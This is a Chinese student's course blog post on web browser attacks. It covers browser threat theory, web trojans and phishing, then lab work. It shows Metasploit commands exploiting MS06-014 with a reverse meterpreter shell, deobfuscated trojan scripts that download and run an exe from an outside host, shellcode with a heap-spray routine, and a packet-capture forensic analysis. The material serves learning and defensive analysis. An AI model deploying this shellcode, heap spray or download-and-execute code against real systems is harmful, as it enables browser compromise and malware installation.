20199112 2019-2020-2 《网络攻防实践》第 12 周作业

学习总结及实践内容

现代 Web 浏览器的基本结构与机理

现代 Web 浏览器指的是能够符合“现行标准”,并且被互联网用户所接受使用的 Web 浏览器软件。

目前的现代 Web 浏览器要求能够理解和支待 HTML 和 XHTML、Cascading Style Sheets (CSS)、ECMA Script 及 W3C Document Object Model (DOM)等一系列标准,因此现代浏览器已经不像古典浏览器那么简单明了,其基木结构与各种功能特性的复杂性也已经大大增加,现代浏览器的基本结构如下图。

Web 浏览的安全问题与威胁

Web 浏览器软件的安全困境三要素

在复杂性方面,现代 Web 浏览器软件由于需要支持多种类型的应用层协议浏览,符合一系列的页面标准规范,支持多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在可被渗透攻击所利用的大量安全漏洞。

在可扩展件方面,现代 Web 浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。

在连通性方面,现代 Web 浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

Web 浏览安全威胁位置

如同 Web 应用服务端一样,Web 浏览环境中的每个组件也都面对着各种不同类型的安全威胁。

  • 针对传输网络的网络协议安全威胁;

  • 针对 Web 浏览端系统平台的安全威胁;

  • 针对 Web 浏览器软件及插件程序的渗透攻击威胁;

  • 针对互联网用户的社会工程学攻击威胁。

网页木马

从 2004 年名噪一时的“网银大盗”案件开始,网页木马可以称得上是国内互联网上最流行的网络攻击技术形态之一,由网络虚拟资产盗窃等地下经济链所驱动,通过利用 Web 浏览端的各种软件安全漏洞进行渗透攻击,向终端计算机植入恶意程序,窃取网民用户的敏感信息和网络虚拟资产,从而给广大网民带来严重的安全危害。

网页木马的定义特性

网页木马从本质特性上是利用了现代 Web 浏览器软件中所支持的客户端脚本执行能力,针对 Web 浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。

绝大多数的网页木马都利用了 Web 浏览端的客户端脚本执行能力,来更好更高效地实施渗透攻击过程,因此从恶意代码技术类型的分类来讲,网页木马也可以被归入恶意移动代码 (Malicious Mobile Code) 的类别范畴内。

对网页木马机理的全方位分析与理解

传统服务器端渗透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。

通过上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性,这也使得网页木马成为近年来最为复杂和难以应对的网络安全威胁类型。

  • 多样化的客户端渗透攻击位置和技术类型;

  • 分布式、复杂的微观链接结构;

  • 灵活多变的混淆与对抗分析能力。

网页挂马机制

在编写完成网页木马渗透攻击代码之后,为了使得能够有终端用户使用他们可能存在安全漏洞的 Web 浏览端软件来访问网页木马,攻击者还需要将网页木乃挂接到一些拥有客户访问量的网站页面上,这一过程就被称为网页挂马。

网页挂马的机制很多,最主要的有如下四类策略。

  • 内嵌 HTML 标签;

  • 恶意 Script 脚本;

  • 内嵌对象链接;

  • ARP 欺骗挂马。

网页木马的检测与分析技术

  • 基于特征码匹配的传统检测方法:在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马。

  • 基于统计与机器学习的静态分析方法:为应对网页木马普遍采用的代码混淆机制,研究人员采用了多种统计与机器学习方法对混淆及行为特征进行检测,包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等。

  • 基于动态行为结果判定的检测分析方法:这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型 Web 访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。

  • 基于模拟浏览器环境的动态分析检测方法:由于网页木马的混淆机制本质上是利用了浏览器中脚本引擎对脚本代码的解释执行能力,因此安全领域的研究者最新引入了一种基于模拟浏览器环境 (Emulation - based) 的动态分析检测方法,以脚本执行引擎(如 SpiderMonkey 开源 JavaScript 引擎)为核心,通过模拟实现 DOM 模型页面解析与渲染、ActiveX 等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。

钓鱼网站

钓鱼网站是指欺骗用户的虚假网站。“钓鱼网站”的页面与真实网站界面基本一致,欺骗消费者或者窃取访问者提交的账号和密码信息。钓鱼网站一般只有一个或几个页面,和真实网站差别细微。

钓鱼网站是互联网中最常碰到的一种诈骗方式,通常伪装成银行及电子商务、窃取用户提交的银行账号、密码等私密信息的网站。

浏览器渗透攻击实践

使用攻击机进行浏览器渗透攻击实践。
攻击机:Kali、靶机:Windows靶机。

  • 选择使用 Metasploit 中的 MS06-014 渗透攻击模块。
  • 选择 PAYLOAD 为任意远程 Shell 连接。
  • 设置 LHOST 参数,运行 exploit,构造出恶意网页脚本。
  • 在靶机环境中启动浏览器,访问恶意网页脚本 URL。
  • 查看建立起的远程控制会话 SESSION。
实验环境 IP
kali 192.168.1.7
win2K 192.168.1.14

在 kali 中以 root 权限执行下列命令。

首先进入 Metasploit

msfconsole

使用漏洞:

use exploit/windows/browser/ie_createobject

设置攻击机和靶机地址:

set lhost 192.168.1.7
set rhost 192.168.1.14

设置 payload 并执行:

set payload windows/meterpreter/reverse_tcp
run


可以看到 kali 给出了 Local IP: http://192.168.1.7:8080/0WAycfW1X ,当靶机访问该地址时,Session 就建立起来了。

下面用靶机进行测试:

同时看到攻击机的攻击行为:

看到浏览器返回了字符串,攻击成功。

最后,使用sessions查看当前活跃的会话:

打开会话:

sessions -i 1

执行任意指令,发现执行成功,sessions 成功建立。

网站挂马分析实践

根据给出的说明逐步分析,得到最终的木马文件的内容。

说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。

  • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
  • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
  • 从解密后的结果来看,攻击者利用了那些系统漏洞?
  • 解密后发现了多少个可执行文件?其作用是什么?
  • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

由于没有实验环境,下面仅对已经提供的文件简要进行分析。

对于文件1.js(MS06-014网马),直接打开发现除了最外层的Eval()函数以外,其他都是十六进制编码,使用解码工具解码后发现内容为一些 JS 代码,然后格式化,得到下面的代码。

var url = "http://down.18dd.net/bb/014.exe";
try {
	var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
	xml.Open

	("GET", url, 0);
	xml.Send();
	as.type = 1;
	as.open();
	as.write(xml.responseBody);
	path = "..\\ntuser.com";
	as.savetofile(path, 2);
	as.close

	();
	var shell = ado.createobject("Shell.Application", "");
	shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch(e) {}

可见,该脚本下载了文件014.exe,然后利用系统漏洞,调用了命令行执行了该程序,那么这个程序一定是恶意程序了。

再看b.js

eval(function(p, a, c, k, e, d) {
	e = function(c) {
		return c
	};
	if (!''.replace(/^/, String)) {
		while (c--) {
			d[c] = k[c] || c
		}
		k = [function(e) {
			return d[e]
		}];
		e = function() {
			return '\\w+'
		};
		c = 1
	};
	while (c--) {
		if (k[c]) {
			p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
		}
	}
	return p
} 

('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))

后半部分不知道怎么解密,答案上写着这是一段 shellcode

接下来是pps.js

尝试使用八进制解码后:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = (document.createElement("object"));
pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer

这也是 shellcode。

接下来通过 IDA 打开提供的 pps.exe 文件。

可知,运行该程序后,会自动下载其他的 exe 文件,并且在根目录生成自动运行的文件((":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")),并且对 IE 和注册表等进行操作("advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W"

Web 浏览器渗透攻击对抗实验

攻击方使用 Metasploit 构造出至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个 URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。

利用 Wireshark 捕获第一个实践中截取的 TCP 流。

经过反混淆和格式化处理后,得到如下的 JS 代码。

function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
    var s = jwnxVgMVVlmT(a, "WScript.Shell");
    var o = jwnxVgMVVlmT(a, "ADODB.Stream");
    var e = s.Environment("Process");
    var url = document.location + '/payload';
    var xml = null;
    var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
    var dat;
    try {
        xml = new XMLHttpRequest()
    } catch (e) {
        try {
            xml = new ActiveXObject("Microsoft.XMLHTTP")
        } catch (e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
        }
    }
    if (!xml) {
        return (0)
    }
    xml.open("GET", url, false);
    xml.send(null);
    dat = xml.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0)
}

function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
    var i = 0;
    var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
    }
    ', ' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
    }
    ', ' {
        7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
    }
    ', ' {
        6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
    }
    ', ' {
        6414512B - B978 - 451D - A0D8 - FCFDF33E833C
    }
    ', ' {
        06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
    }
    ', ' {
        639F725F - 1B2D - 4831 - A9FD - 874847682010
    }
    ', ' {
        BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
    }
    ', ' {
        D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
    }
    ', ' {
        E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
    }
    ', ' {
        AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
    }
    ', ' {
        0006F033 - 0000 - 0000 - C000 - 000000000046
    }
    ', ' {
        0006F03A - 0000 - 0000 - C000 - 000000000046
    }
    ', null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0, 1) == ' {
    ') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
        } else {
            try {
                a = new ActiveXObject(t[i])
            } catch (e) {}
        }
        if (a) {
            try {
                var b = jwnxVgMVVlmT(a, "WScript.Shell");
                if (b) {
                    eKXqxEpEOOOxsLSXxJeRxJCn(a);
                    return (0)
                }
            } catch (e) {}
        }
        i++
    }
}

经过检索上述代码中部分数组的字符串,找到了相应的漏洞描述与介绍。

详见:https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:HTML/MS06014

Web 浏览器遭遇攻击、取证分析

通过分析给的网络记录文件,回答下列问题:

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
  • 列出 IP 地址、主机名、域名,猜测攻击场景的环境配置。
  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的 js 脚本,谁在连接这些页面,目的是什么?
  • 请给出攻击者执行攻击动作的概要描述。
  • 攻击者引入了哪些技巧带来了困难。
  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
  • shellcode 执行了哪些操作?比较他们之间 MD5 的差异?
  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

通过 Wireshark 打开要分析的 pcap 文件,观察 Protocol 这一列,发现涉及到的应用层协议类型主要有:HTTP、ICMP、Bootps、Netbios、DNS等。

接下来利用 chaosreader(一个协议分析工具)读取这个文件:

./chaosreader suspicious-time.pcap



该工具生成了若干 html 文件:

使用下面的指令来查询有哪些 IP 地址和域名在进行攻击:

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort


下图中左侧红色方框内即为受害者的 IP:

并且攻击者为192.168.56.52

接着打开 session_0006.part_01.html


可知受害者正是通过这样一个表单中招的。

再打开 sploitme.com.cn 对应的 session_0007.part_02.html 文件,看到下面的 404 页面。

查看源码发现它是一个人为构造的“假 404”页面。

追踪 142 号 TCP 流,看到这里利用了 IE 的漏洞,具体是什么漏洞没看出来。

学习中遇到的问题及解决

Q:在捕获的 TCP 流转化为 js 代码后不知如何下手
A:各种搜索,终于在可疑的数组字符串中找到了漏洞线索

Q:最后一个实践有点难,很多问题回答不了,分析过程也是举步维艰
A:暂时无解

总结

学了这么久的网络攻防,如果让我亲自上手分析一个攻击过程的话,还是很难下手,有的方法虽然大致明白了,但还是有很多细节问题需要解决。

参考资料

posted @ 2020-05-21 00:13  20199112  阅读(440)  评论(0编辑  收藏  举报